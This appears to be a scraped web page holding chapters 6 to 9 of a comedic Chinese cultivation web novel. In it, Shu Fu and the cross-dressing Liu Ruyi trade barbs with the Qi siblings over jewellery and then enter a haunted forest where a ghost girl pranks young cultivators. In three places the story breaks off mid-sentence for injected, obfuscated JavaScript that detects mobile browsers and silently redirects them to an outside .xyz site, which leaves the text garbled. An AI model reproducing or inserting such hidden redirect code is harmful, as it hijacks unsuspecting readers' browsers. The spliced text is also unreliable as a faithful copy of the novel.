柳如漪放眼环视一圈,伸手从货架上拿起一副耳环,盈盈笑道:“舒姑娘你看,这珍珠耳环……” “我要了!” 骄横的女声从旁响起,果然是齐新蕾不依不饶,在送人头属性的驱使之下,又追着她们来了这家店铺。 柳如漪扬眉一笑:“好罢,给你便是。舒姑娘戴什么都好看,我们尽可以随便挑。” 说着她又点了一枚玉簪:“你看,这簪子……” “我要了!” “这黄金凤凰步摇……” “我要了!” “这镶嵌七色宝石的璎珞……” “我要了!” …… 一番“礼尚往来”之后,齐新蕾财大气粗,喊得又快又干脆,几乎承包了小半个货架的首饰。 胖老板笑得见牙不见眼,亲自将首饰一样一样包好,又不停地冲她鞠躬道谢,像个圆滚滚的皮球。 成堆的黄金珠宝放在一处,流光溢彩,几乎能把人的眼睛晃花。齐小姐的虚荣心得到极大满足,面色红润许多,下巴也抬得越发高了。 老板看出她们之间暗潮汹涌,忙不迭地奉承道:“这样的好东西,戴在齐小姐身上才能显出光彩,相貌平庸、气质粗俗的小人物可配不上。” “可不是么。像我们这种粗人,戴些什么石头、骨头也就够了。” 柳如漪莞尔一笑,冲他们微微道个万福,然后头也不回地向门口走去,“走吧,换个适合我们的地方。” 齐新蕾一怔:“你们不买了?” 柳如漪浅笑不答,身形一闪间,人已经到了门外。 就在此时,舒凫一派天真地开口问道:“柳道友,你刚才给我看那珍珠耳环,是很稀罕的物件吗?” “自然是稀罕的。” 柳如漪眉眼舒展,笑意更深,“东海有种比目鱼,眼白没有一丝杂质。死后翻了白眼儿,眼珠子坚硬如玉石,就被人拿来做了首饰。到了大半夜,这眼珠还会盯着你瞧呢。” 之后也不等舒凫再问,她便一口气滔滔不绝地说下去: “那枚黄金凤凰步摇,其实是镀金的,镀的也不是真金,而是一种‘黄金草’榨成的汁液,能够以假乱真。只是佩戴久了,身上各处都会出现黄斑,几年也消不下去。” “那副镶嵌宝石的璎珞,宝石都是最次等的,只是用一种名叫‘琼枝玉兔’的妖兽血液反复浸泡,看上去通体晶莹,光彩夺目。但上头留有玉兔血液的味道,在城镇里还好,若是到野外被玉兔族群发现,多半会被蜂拥而来的兔群咬死。” “那副手镯……” “那枚玉簪……” …… 最后她幽幽一叹:“这都是些新奇玩意儿,好玩得很,只可惜对人体无益。我就是想让你看看,也没想让你买。” 舒凫:“……” 她知道刺激,但没想到这么刺激!修仙界的兔子也太猛了!这是传说中的钢牙小白兔啊! 齐新蕾:“……” 她什么都不知道。 而且她全都买了。 6. 护短 之后这一路,毫不意外的,齐新蕾成为了舒凫她们的快乐源泉。 她虽然娇蛮任性、眼高于顶、口无遮拦,但好在没什么害人的花花肠子,只要对她的垃圾话置之不理,也算是个人畜无害的吉祥物。 用舒凫的话来说——我就喜欢你不喜欢我又拿我无可奈何的样子,赏心悦目,陶冶情操。 一言以蔽之,那就是快乐。 她们在商业街上逛了一路,齐新蕾咬牙切齿地跟了一路,却不敢像之前一样见什么抢什么,总担心又是柳如漪诓她。 方才那位胖老板嘴硬得很,死活不承认自己卖假货,她赔了笑脸,放了狠话,最后祭出“告诉我爹让你关门”大法,愣是没能退货,只好梗着脖子吃了这个哑巴亏,气咻咻地盘算着回家找爹告状。 舒凫和柳如漪就轻松多了,自由自在地挑,开开心心地试,空留齐新蕾一个人涨红着脸杵在一边,一路上欲言又止三百次,想给她们添个堵又怕反杀自己,活生生地把自己给堵死了。 就这样,在齐小姐敢怒不敢言的视线中,两人痛痛快快地买了个爽。 柳如漪眼光毒辣,砍价生猛,挑选的都是物美价廉的优质法器。舒凫不愿无功受禄,执意自己买单,从中精挑细选了几件最合意的,又给留在客栈的芳菲打包了一些,堪称满载而归。 其中,舒凫最喜欢的是一支玉蝶发钗,晶莹剔透的碧色蝴蝶在发间飞舞,栩栩如生,迎着日照反射出一层温沉柔润的光泽。 “这发钗上有天衍门的护符,能够抵御法术,一向很受女修欢迎。” 柳如漪同样爱不释手,一边帮她试戴,一边言笑晏晏地称赞道,“果然精致。舒姑娘,你知道么?天衍门制作的法器,每一件都是由门中弟子设计,从材质到做工严格把关,呈报长老过目后才能批量生产,绝没有一件粗制滥造的。他们就擅长做这个。” ……做什么?开发门派周边? 舒凫无言以对,再次对当代修真界的业务范围感到震惊。 “好了,这便妥当了。” 柳如漪将舒凫打扮成了一棵珠光宝气的圣诞树,心满意足地长舒一口气,又将这口气化作豪气倾吐而出:“老板,结——” 舒凫急忙抢答:“结账!我结我结。” “慢着!” 就在此时,憋了一路的齐新蕾终于找到机会,迫不及待地抢上前来,伸手向那支玉蝶发钗一指,“这个我要了!老板,无论她们出多少钱,我都付她们双倍的价格。” “这……” 老板左右为难,两边都是花一样的漂亮姑娘,他觉得自己像个夹在发妻和情人之间的罪恶渣男,“小店经营不易,请几位客官不要为难……” “我怎么为难你了?” 齐新蕾一脸不悦地瞪大眼睛,“我多给你钱,有什么不好的?” ——你给我钱,我怕别人要我命啊! 老板在内心发出无声的哀号。 他是个有眼力的,一眼就看出舒凫这把剑和柳如漪这个人都不一般,没准儿是什么隐姓埋名的大人物。 齐家他惹不起,这两个过路的他也惹不起,他能怎么办?他只能表演一个铁锅炖自己。 不过短短一息间,无辜又无助的老板已经汗透重衣,觉得自己不仅是个渣男,而且老婆和情人都怀了他的孩子。 他左顾右盼,战战兢兢,只盼望其中有一方能够醍醐灌顶,领悟到“忍一时风平浪静,退一步海阔天空”的人生哲理,主动息事宁人。 然而遗憾的是,在场三个人的座右铭都是同一句话——“忍一时无法呼吸,退一步不如暴毙”。 就在三人僵持不下之际,忽然间,琉璃珠串成的门帘噼里啪啦一阵响,有道长身玉立的人影拨开珠串走了进来。 舒凫循声望去,还没来得及看清他长相,就只听见齐新蕾喜出望外地喊道:“轩哥哥,你来了!” 舒凫:????? 不是,这个男主的出场是不是有点随便??? 出场很随便的(原)男主并没有意识到这一点,他在堂妹身边站定,保持着世家子弟温文尔雅的风度,向舒凫和柳如漪见礼道: “在下齐玉轩。两位道友,有礼了。” 齐玉轩和姜若水,幼时常常玩在一处,算是半个青梅竹马。后来楚箫上位,立刻把姜若水关在家中,再也不许她出门见人,自此两人便断了联系。 如今重逢,两人面貌体态变化颇大,一个是翩翩少年郎,一个是亭亭玉立的大姑娘,齐玉轩又早已心有所属,对这位白给的“未婚妻”漠不关心,自然半点也认不出来。 姜若水一直念念不忘地惦记着他,实属媚眼抛给瞎子看,竹篮打水一场空。 ——不对,也不算一场空。他俩最后HE了。 回想起那个令人发指的HE,舒凫背后又密密麻麻起了一片鸡皮疙瘩,下意识地退后一步,与男主保持三丈距离。 齐玉轩显然已在门口听见了她们的争执,也不拐弯抹角,客客气气地拱手道:“两位,实在抱歉。舍妹从小任性,无论什么吃的、玩的,只要她看上了就志在必得,给两位添麻烦了。” 这句话说得落落大方,礼数周全,舒凫不由地多看了他一眼。这真是那个让她气得生吃键盘的男主吗? 是不是……太正常了? 然而,只听他下一句便道: “不知两位能否割爱,给我一个面子,将这玉钗让给新蕾?她是个小女孩儿脾气,这玉钗对你们来说只是寻常首饰,对她来说却是一段念想。看两位年岁,应当比舍妹大上一些,想必心胸宽广,不会与她计较这点小事。” ……好吧,他确实是。 唯一的区别是,舒凫现在不想吃键盘,只想把男主的脸按在键盘上摩擦。 好好一个修仙文男主,怎么就和“你这裙子/娃娃/塑料小人看着也不值钱,送我家孩子一个呗”的熊大人这么像呢! 她觉得自己快要窒息了! 柳如漪掀了掀嘴唇,刚要开口,上辈子深受熊大人迫害的舒凫已经上前一步,一句话钉子似的掷到齐玉轩脸上: “齐公子,你和齐小姐之间兄妹情深,实在令人动容。但她是你妹,又不是我妹,为什么我要像你一样纵容她?” “这……” “将来你娶了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310347|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老婆,我是不是也必须像你一样,和她举案齐眉、琴瑟和鸣、早生贵子?你的孩子要我抚养?你的父母要我侍奉?你的亲人就是天下人的亲人?” “这,自然不会——” “齐小姐叫你哥哥,却不曾叫我哥哥。我也不是不通情理,只要她叫我一声哥,我立刻不计前嫌,把她当作亲生妹妹一样关照。她要是叫我一声爹,我还能把她当作女儿。” “你、你欺人太甚!” 齐新蕾一张粉面涨得通红,用力啐道,“呸!要做我爹,你也配!” “说的也是。” 舒凫无比诚挚地点头,“古人云‘子不教,父之过’,我这不是给自己揽黑锅么?算了,这锅还是留给你爹吧。” “你!!” 齐玉轩眼看她油盐不进,摇头叹道:“道友如此蛮不讲理,那在下……”说话间身影晃动,人已到了舒凫面前,一手按住她肩膀穴道,玉钗“当啷”一声落在地上,“少不得要得罪……唔!!” 舒凫是个什么脾气?吃痛吃苦不吃亏,受累受罪不受气。谁让她不快活,她就让谁不能活。 齐玉轩的爪子刚一搭上她肩膀,她情知不妙,随即半边身体一沉,一脑门就冲他笔挺的鼻梁撞了过去。 “……唔!!你、你做什么……” 舒凫将全身灵力灌注于头顶,齐玉轩毫不设防,被她一记头槌撞了个倒仰。 他还没来得及站稳,一道鬼魅般的红衣人影已经飘到他身后,一伸手按住了他的天灵盖。 “齐公子,这就是你不对了。” 一缕幽香拂过鼻尖,柳丝般轻柔的嗓音在他耳边响起,“大家吵架吵得好好的,你怎么能打人呢?” “……” 齐玉轩额角滑过一滴冷汗,和鼻血一起无声滴落,“道友,你是不是说错了一个词?我们有话好说……好吵也行,你先放开我。” 堂兄命悬一线的险境,落在齐新蕾眼中却是另一幅旖旎景象:“喂,你放开轩哥哥!别凑这么近占他便宜!” “……” 柳如漪温和秀美的笑容霎时开裂,仿佛整个人从内而外都被侮辱了,甚至夸张地皱起了鼻子。 她猛地退开一步,与舒凫并排而立,负着手淡淡道:“你放心,我决计不会看上你哥哥。” “我凭什么信你?” “很简单,理由有两点。” 柳如漪一手搭在心口,长睫低垂,是个再哀怨凄美不过的西子捧心姿态,说出的话却与之完全相反。 只听“她”一字一顿道: “第一,我没有龙阳之好。我喜欢女人,也喜欢扮女人,这两者并无冲突。” “第二,我实在看不上你这位小哥哥。唉,他有什么好的?长得没我漂亮,对待姑娘没我体贴,估计掏出来还没我大。” “……” “……” “……” 然后,整个世界都安静了。 在这片死一样的寂静中,只有舒凫茫然地眨着眼睛,喉咙里无意识地蹦出一个音节,在地砖上摔得粉碎。 “…………………………………啥?” 7. 虎穴 “…………………………啥?” 吐出这个字的同时,舒凫的大脑陷入了短暂的宕机状态。 她能够理解柳如漪说的每一句话,但是一句句串联起来,与视觉画面结合在一起,两厢里对不上号,在她脑海中引起了一种类似短路的物理反应,差点儿把CPU给炸了。 ——柳如漪? ——男人? ——还很大? ——“大”是指哪里,胸吗? 舒凫下意识地向柳如漪胸口扫了一眼,又无意识地拍了拍自己坚实的胸膛。 很显然,是柳如漪比较大。 ——那他怎么会是男人呢???胸口那两坨是他锻炼多年的胸大肌吗??? “…………” 齐玉轩和齐新蕾同样目瞪口呆,他们俩毕竟年轻,这场面舒凫没见过,他们更没见过,这会儿都顶着一脸震撼我妈的表情,直接杵在原地石化了。 现场唯一泰然自若的,就是柳如漪本人。 趁着齐家兄妹震撼失神的当口,“她”——他一手抛下银钱、拾起玉钗,一手牵住舒凫衣袖,一阵风似的掠出店门,掠过人声鼎沸的街道,不一会儿便将店铺远远抛在了身后。 直到一口气掠出二里地,齐家人不能再找麻烦,柳如漪才将被自己牵着起飞的舒凫轻轻放下,温声道: “抱歉。一时失言,让姑娘受惊了。” 语调舒缓,语声清越,依然是那道令人过耳不忘的动听嗓音。 “那个,柳道友……” 舒凫咽了口唾沫,小心翼翼地开口询问道,“你……真的是?” “真是。” 柳如漪郑重其事地点了点头,目光清透,没半点揶揄玩笑之色。 “那,你这个……” ——胸是怎么回事? “哦,这是我在天衍门订做的贴身软甲。你要是喜欢,以后给你也整一套。” 柳如漪察觉到她的视线,大大方方地解释道。 说着抬手在胸口拍了一拍:“韧性、弹性都很不错,一般刀枪伤不了它,实用得很。” 舒凫:“……” 天衍门平时都在研究些什么东西?!就算是个辅助门派,这辅助范围也太广泛了吧!! 话又说回来,好端端的,柳如漪订个假胸做什么? 舒凫担心贸然询问不太礼貌,却又忍不住好奇,字斟句酌好半天,终于还是期期艾艾地问道:“柳道友,你既然是男子,为什么要……” “穿女装?” 柳如漪善解人意地替她问完,也不着恼,微笑着自问自答道,“实不相瞒,我和先生在同行中有些名气,而且名声不大好听。每逢出门办事,都是要乔装改扮一番的。” 舒凫恍然大悟:“原来如此。所以你穿女装,是为了掩人耳目,避免身份暴露?” “不是。” 柳如漪摇了摇头,斩钉截铁地纠正道,“是因为女装漂亮。” 舒凫:“……” 他说得好有道理,她竟然无法反驳。 接着她又想起另一件事:“你说自己出身玄玉宫,这是真的吗?” “这个不假。” 柳如漪坦然回答,眼中流露出一点怀念之色,“玄玉宫掌门与我家有些因缘,我从小在她门下长大,受了她不少照拂。虽然我不曾拜师,但玄玉宫上下都对我十分友好,我承她们的情。” 难怪他方才语焉不详,误导齐新蕾认为自己是玄玉宫的女修,原来是为了给恩人出头。 舒凫想通了这一节,内心疑虑消减不少,但还是有些消化不良:“对不起,我想安静地思考一会儿人生。” 比如说,为什么你一个男人的皮肤比我还嫩,而且比我还擅长化妆。 柳如漪并不觉得她失礼,歉然道:“舒姑娘,实在不好意思。我这个人平素爱玩,没规矩惯了,也不怎么计较男女之别,凡事只图一个自己看着顺眼,不是有意欺瞒。待此间事了,我一定卸妆向你道歉。” 他顿了顿,又补充了一句:“当然也会卸了胸。” 舒凫:“……谢谢,不用了。” 她从未听过如此真诚的赔礼道歉。“道歉时要露出胸部”这句话老有人刷屏,“道歉时摘下胸部”的,她还是第一次看见。 …… …… 日落时分,城南郊外。 藏木林三面环山,绵延数十里,只有一处狭窄入口,是个易守难攻的凶险地形。密林中昏暗幽深,树影幢幢,在逐渐黯淡的暮色笼罩下,越发显得阴森可怖。 江雪声并未在入口等待他们,而是选择了不远处的一座高坡,临风而立,静静俯视着那片波澜起伏的树海。 他的容貌平淡,背影却是青竹一样清隽修长的,宽袍广袖被山风吹起,人也像是要乘风而去,很有几分超然物外的谪仙样子。 舒凫从背后看着他,忽然就明白了什么叫做“遗世独立,羽化而登仙”。 “回来了?” 听见两人的脚步声,江雪声平静回头,旋即注意到舒凫面色有异,“舒道友,怎么了?是不是如漪非礼你了?” 柳如漪一惊:“我不是,我没有!我在你眼中究竟是什么形象?” 江雪声面带倦容地叹了口气,摆手道:“我知道你没有。我是怕你把人家当姐妹,忘了交代最重要的事,回头人家发现你是假的姐妹,又要一状告到我这里,说你男扮女装,占人便宜。” 柳如漪也跟着叹气:“冤枉啊。我能占什么便宜?我喜欢自己挑衣服、配首饰,也喜欢给其他姑娘挑,帮她们梳妆打扮,看她们光彩照人,过个眼瘾罢了。我在玄玉宫多年,也没人与我计较这个。” “玄玉宫女子为尊,与别处不同。在如今的世道上,你生为男子,就已经占了天大的便宜了。” 江雪声不咸不淡地刺他一句,又转向舒凫,斯斯文文地躬身一礼,“道友见笑了。如漪出身鸟族,生性.爱美,他的审美标准……有些特别,不是故意要扮成女子。” “是啊,市面上的男装实在太丑了。我想穿几件漂亮的,都得自己画了设计图送给天衍门。” 柳如漪理直气壮地接口道。 舒凫:“……行吧。” 她两眼放空,暂时性地放弃了思考。天衍门就是这个世界的哆啦○梦,要不然就是道具商城,她已经完全明白了。 “不对,等一等。” 她忽然反应过来,“你是个鸟?” 柳如漪:“对啊,我是个鸟。想当年我还是一颗蛋,就是玄玉宫把我孵出来的。” 舒凫:“……行。” 万万没想到,让自己眼前一亮的漂亮姐姐不仅是男人,而且还是个鸟人。在玄幻世界里,大概这才是正常情况。 ……正常个鬼啊。 “好了,说正事吧。” 江雪声截过话头,仍是一副慢条斯理的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310348|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温吞模样,也不计较他们打岔,“如漪,你瞧见入口处没有?今日一行,怕是要多几分波折。” “怎么?” 柳如漪长眉一挑,踏上一步低头望去。 素日寂静无人的密林入口,不知何时聚集了十余名年轻修士。 舒凫修为平平,眼力也平平,一眼望去看不真切,只觉得他们的模样有些奇怪,一个个摩拳擦掌,跃跃欲试,领头一人正在手舞足蹈地嚷嚷些什么,情绪十分高涨。 “我粗粗一听,他们都是附近小家族的子弟,听说此地有穷奇出没,就想来试试身手。” 江雪声解释道,“‘只要我们取胜,就能一战扬名,说不定还能取代童家,跻身青城三大世家的位置’——他们是这么说的。” 柳如漪脸一沉:“童家还没死绝呢,他们就这么等不及?” 江雪声好脾气地笑笑,神色温和,像个慈眉善目的大家长:“少年人意气风发,总是比较喜欢作死的。” ……等等。 作死? 舒凫掏了掏耳朵,怀疑自己刚才听错了。 柳如漪倒是习以为常,轻飘飘地随口问道:“救还是不救?” 江雪声:“救,但不要马上救。等他们折腾个半死,知道厉害,以后就会懂得分寸了。” 看他那和蔼的目光,忧虑重重的脸色,仿佛在说“等他们成绩下降,就知道老打游戏不好了”。 然后这位慈祥的大家长略一沉吟,改口道:“罢了,还是等他们折腾到七成死吧。” 舒凫:????? ——“七成死”是个什么东西?和七分熟一个意思吗? ——这位大哥,你好像和你的表面人设不太一样啊。 江雪声没有察觉她的腹诽,也可能是察觉了但没有在意,袍袖一拂,带着她和柳如漪从高坡上一跃而下,瞬间掠过数十丈距离,在那群年轻修士面前飘然落地。 舒凫冷不防被人带着装了个逼,体验不是很好,觉得自己有点晕机。 她晕晕乎乎地一抬头,深吸一口新鲜空气,然后感觉更不好了。 因为,从她此刻的角度,恰好可以看见—— 在那群意气风发的少年修士之中,有个瓜子脸、大眼睛,乍一看十分甜美秀气的白衣女孩,像一朵柔弱的小白花,令人心生怜爱。 但是,在舒凫手中雪亮的剑锋上,却映出了一张……怎么看都不像人,至少也像是R级恐怖片演员的脸。 “………………” 这画面委实有些刺激,舒凫一连做了好几次深呼吸,舌尖咬得发麻,好不容易才将一句“我日什么东西”咽回肚里。 就在此时,她听见脑海中响起一道传音,是江雪声平心静气地叮嘱道: 【道友,离那位穿白衣的姑娘远些。她已经死了七八年了,阴气重,靠太近对身体不好。】 舒凫:【我日!】 江雪声:【你不要日,也不要怕。这位姑娘死状凄惨,恐怕是当年穷奇之祸的遇难者。年轻人不知天高地厚,对死者不敬,她一路上多半要给他们添些麻烦,不会祸及我们。】 【……】 舒凫面无表情地点点头,【我日——日夜行善积德,她一定不会为难我的。】 江雪声:【放心。人只要不作死,就不会死。】 舒凫:【……】 ——所谓的“作死”、“救还是不救”,原来是这么回事啊! 8. 虎女 俗话说“初生牛犊不怕虎”,听上去很有胆魄,但舒凫无论怎么琢磨,总觉得这话是在说小牛犊子没见识,不知道天高地厚,所以才能一往无前地作死。 就像眼前这群年轻修士一样。 不过在舒凫眼中,这批青少年的素质良莠不齐,其中有相当一部分甚至算不上小牛犊子,应该叫做小兔崽子,或者小王八羔子。 江雪声秀了一手从天而降的掌……哦不,功夫,当下就有几个兔崽子面色一沉,要么扬起下巴翻白眼,要么阴阳怪气地斜眼看人,好像眼珠子都不肯好好长在原位似的。 这也难怪——从天而降的功夫谁都会,却不是谁的身法都像江雪声一样飘逸潇洒,落地时漫不经心地一转身,带起的衣摆如同花一般自然散开,比鼓风机吹得还漂亮。 他这个逼装得一鸣惊人,身后还跟着俩姑娘,一个红妆艳丽,一个素衣白裳,红白玫瑰似的,俨然一副标准的人生赢家做派。要不是江雪声文质彬彬,态度谦和,对谁都是一张笑脸,指不定一转身就被哪个年轻气盛的小朋友背刺了。 “白玫瑰”舒凫堪堪站稳,一眼扫过人丛,迅速将所有人的衣着样貌都在心中暗记了一遍。 这些修士她一个都不认识,只觉得他们一个赛一个的衣冠楚楚,人模狗样,果然修仙界人人都有一副好皮囊。 虽然其中有一个不是人。 为首的少年穿着最华丽,样貌最俊俏,态度也最骄傲,在人群中显得十分惹眼。 舒凫定睛细看,只见他肤色白净,脸庞生得尖而小,脸上一双黑白分明的大眼睛,宝蓝底色的衣袍上花团锦簇,整个人活像只翘着尾巴开屏的蓝孔雀。 这会儿他被许多人簇拥着,品尝到了一点“百鸟朝凤”的滋味,不自觉地端起了凤凰派头:“请问几位是?实不相瞒,我们正准备进入藏木林除妖。几位若有意同行,届时可要听我调遣,千万不能坏了大事。” “……” 柳如漪一言不发地垂下头去,以袖掩口,眉目含情,看上去颇有一点“水莲花不胜凉风的娇羞”。 不过舒凫知道,他这是在忍笑。 而且还没忍住。 他这一笑就笑出了万种风情,那少年心底藏不住事,整张脸一下烧红到耳根,舌头直愣愣的转不过弯来:“这,这位姑娘……” 舒凫不忍直视地别过头去,心中暗道“又弯了一个”。 “别磨蹭了,我们快些进入林中吧!” 一名少女开口催促道,“要是去得晚了,指不定有其他外来的修士捷足先登,抢先一步把穷奇杀了。” “不错。”另一名少年接话,狐疑的目光一个劲儿往江雪声身上瞟,“你们这些外乡人,最好还是少来插手,免得添乱。” 柳如漪嫣然一笑:“道友放心,我们只是来见见世面,决计不会添乱。” 于是那少年也跟着脸上一红,扭扭捏捏地退到一边不说话了。 舒凫:“……” 这些异性恋小朋友的一片芳心,终究是错付了啊! 与吵吵嚷嚷的活人相比,那位“死了七八年”的白衣少女倒是十分低调。她自始至终一语不发,安分守己,毫无存在感地蛰伏在一旁,低眉顺眼的,像个给少侠们端茶倒水的小丫头。 要不是孤光有灵,剑身能照见本相,舒凫原本也不会向她多瞧一眼,更不会想到她是个藏在人群中的鬼魂。 【道友,这样真的没问题吗?这鬼魂一路跟着我们啊。】 到底是上辈子没见过鬼,舒凫突然置身于恐怖片现场,内心难免有些紧张。虽然面不改色,但掌心还是沁出了一层薄汗。 【无妨。】 江雪声似乎察觉到她的僵硬,在传音中幽幽叹了口气,长袖一扬,隔着衣袖轻轻搭上她发冷的指尖,一道温暖的真气渡了过来。 【藏木林地势独特,阴气郁积,鬼怪比别处更逼真些,寻常修士都难以分辨。你且放宽心,这不是什么厉鬼,只是个心有执念、不肯投胎的小姑娘罢了。】 舒凫哭笑不得——你姥姥的,就凭这种设定,在现代鬼片里已经算是十足的厉鬼了! 什么贞子,什么伽椰子,不也都是“心有执念的小姑娘”吗? 但是指尖流入的灵力太过柔和,暖洋洋的,温水一样浸泡着四肢百骸,顷刻间将她满心的卧槽都融化在了一团温柔乡里。 舒凫不自觉地斜睨江雪声一眼,忽然明白了柳如漪为什么说他“考虑周到”。 虽然她并不需要照顾,女鬼什么的看着看着也就习惯了,不过他有这份心思,还是很值得感谢的。 其他人满脑子都是穷奇——以及斩杀穷奇之后的锦绣前程,没一个注意到他们的小动作。只有那女鬼百无聊赖,扭头朝舒凫瞥了一眼,视线落在她与江雪声重叠的袖口上,若有所思地一挑眉梢。 然后,她冲舒凫古灵精怪地眨了眨眼,露出一抹女生间特有的会意微笑,眼神里装着明晃晃的三个字:我懂的。 舒凫:“……” 夭寿哦,她刚才是不是被鬼八卦了? …… …… 一刻钟后,藏木林中。 刚一进入林中,舒凫便觉得周遭陡然安静下来。 放眼四周,目力所及处尽是郁郁苍苍的古木,像无数沉默的人影,手牵着手环绕在他们身边,吞没了外界一切声息和光线。 在渐趋微弱的暮光中,林间生气勃勃的绿意也随之消隐,从树干到枝叶,都呈现出一种阴郁不祥的黑。 这场景处处透着诡异,凶险得一目了然,任谁见了也会头皮发麻,胳膊上爬起一水儿的鸡皮疙瘩。 走在最前方的华服少年倒是镇定,昂首挺胸,一边走一边鼓舞心生怯意的同伴:“怕什么?这次的穷奇没叼走几个人,想必十分虚弱,不是什么厉害角色。到时候把它一围,大家齐上,刀剑法术一起往它脑门上砸,保准一眨眼就把它砸瘫了。” “是啊,白公子说得对。没什么好怕的!” “一切就仰仗白公子了!” “要不是有白公子开路,我还不敢来呢。” 众人十分配合这位“白公子”的表演,一叠声地附和捧场,肉麻到不堪入耳的商业互吹满天乱飞。 白公子被吹得眉开眼笑,心里美滋滋的,孔雀尾巴翘得更高了。 但与此同时,舒凫分明看见——好几个少年嘴上吹得积极,背地里却一个个挤眉弄眼,有的冷笑,有的撇嘴,神色间充满不屑,甚至还带着点幸灾乐祸的味道。 他们从背后注视白公子的眼神,就像在目送一头开开心心蹦上烤架的猪。 很显然,白公子把大家当马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再看那白衣少女,她照样是一路亦步亦趋,半点也没显露出搞事情的苗头。就在舒凫以为“可能人家只是一个路过的鬼魂”之际,那少女忽然停下脚步,黑眼珠左右一转,飞快地伸手在树干上一拍。 紧接着满树枝叶一阵乱响,哗啦一声,一团黑魆魆的物事从枝头倒挂下来。 “哇啊!!!” 前头几个少年骇了一跳,连连后退:“何方妖孽?!” 还是那白公子胆大,反手抽出自己镶金嵌玉的华贵佩剑,也不嫌脏,用剑尖在那团物事上轻轻一挑,揭开了包裹在外的一层破布。 剑柄上镶嵌着几颗夜明珠,在夜色间泛出碧莹莹的柔光,恰好照亮了他剑尖所指的一小方区域,映照出一张惨白的……确切来说,是一个惨白的骷髅脑袋。 “哇啊啊啊!!!!!” 少年侠客们的嗓门越发敞亮了,枝头好几只寒鸦被惊动,扑棱棱地振翅而飞。 夜明珠微弱的光芒下,每一张面孔都被映照得白里泛青,乍一看格外瘆人,好像浮起了一层惨碧色的死气。 只有那白衣少女镇定自如,嘴角挂着一点诡秘的微笑,甚至还转过身冲舒凫眨了眨眼睛,并起食指和中指比向自己,用口型向她说道: “那是我。” 舒凫:“……” 夭寿啊,这个女鬼好像真的很喜欢她!!! 9. 失言 有这么一句话,大家都听过,叫做“当你在家中发现一只蟑螂的时候,说明你家里已经有一万只蟑螂了”。 舒凫当然也听过。作为一名爱好卫生的当代南方人,她一向对蟑螂的繁衍生息保持高度警惕。 但她还是第一次见识到,“当你在森林里发现一块骨头,接下来还会发现剩余的一百多块”。 没错,这一百多块都是同一个人的骨头,而且每一次都是骸骨的主人——白衣少女故意让他们发现的。 有时候她把胸骨和肋骨挂在树枝上,轻轻一晃就会掉落,在众人面前迎风摇摆,仿佛一副挂在店门口的鸭架子。 有时候她把腿骨埋在草丛里,故意假装绊倒,踩出清脆的“嘎吱”一声。 有时候她把手骨胳膊肘儿朝下,插在小溪底部的泥沙里,如果有人在溪边掬水,苍白细瘦的指骨就会挂住这人的衣袖,被他一起带出水面。 …… 就这样,她全程毫不避讳舒凫的目光,骚操作一套接一套,直接把舒凫给看傻了。 虽说尸骨只是一副皮囊,没灵魂没感触,所谓“死者为大”、“尊重遗体”都是活人的念想,但她第一次见到玩自己骨头玩得这么嗨的! 这是一个怎样的硬核女鬼啊?! 舒凫一向以钢铁猛女自居,这会儿也不由地甘拜下风,真心实意地承认自己输了。 她趁众人不注意,冲那白衣少女恭恭敬敬地一拱手,以肢体语言表达“您老牛逼”。 少女谦虚地回了个礼,表示不敢当。 舒凫:“……” 这鬼还挺懂礼貌! 事态发展到一步,就算舒凫是个瞎子也看得出来,这女鬼对她没有敌意,反而表现得十分亲近。也不知是因为童家,还是因为姜若水与生俱来的女主光环。 对于那些个一头扎入藏木林的小兔崽子,女鬼也没动杀心,只是变着法儿(用自己的骨头)作弄他们,把其中几个水货吓得魂飞魄散,哀嚎与尖叫齐飞,眼泪共鼻涕一色。 至于她自己,全程都只是藏在一边暗中观察,时不时地抿嘴偷笑,仅此而已。 舒凫注意到的,柳如漪和江雪声自然也尽收眼底。江雪声面不改色,恍若未闻;柳如漪想笑又不好笑出声,憋得十分辛苦。 因为憋笑,他整个人抖抖索索的,宛如一束迎风摇曳的弱柳,可把那几个心猿意马的少年心疼坏了,一个劲儿地围着他嘘寒问暖。 对此,舒凫只有一个表情—— 地铁老爷爷看手机.jpg …… 撇开这一节不谈,舒凫一路上眼观六路、耳听八方,时不时地插嘴套话,不过一刻钟功夫,已经将这群青少年的来历背景摸了个透。 为首这位“白公子”,大名叫做白恬——人也确实很白甜,而且很傻。他的父母仿佛能够未卜先知,隔着十八年预见到未来景象,给儿子取了这么一个天造地设的好名字。 白家是个不上不下的小家族,和姜家、齐家不能比,勉强比日薄西山的童家强上一些。正所谓“矮子里面拔将军”,在青城一带,白家也算是有了三分颜色,可以凑合着开个染坊了。 白恬资质平平,全靠家里那一亩三分地的染坊供着。白家统共就这么一个儿子,宝贝得跟什么似的,灵丹妙药一路堆,硬是将他堆成了年轻一代中的“青年才俊”。放眼方圆百里,除了姜、齐两家的嫡支后辈,就数他最争气——虽然这口气,有一大半都是爹妈替他争回来的。 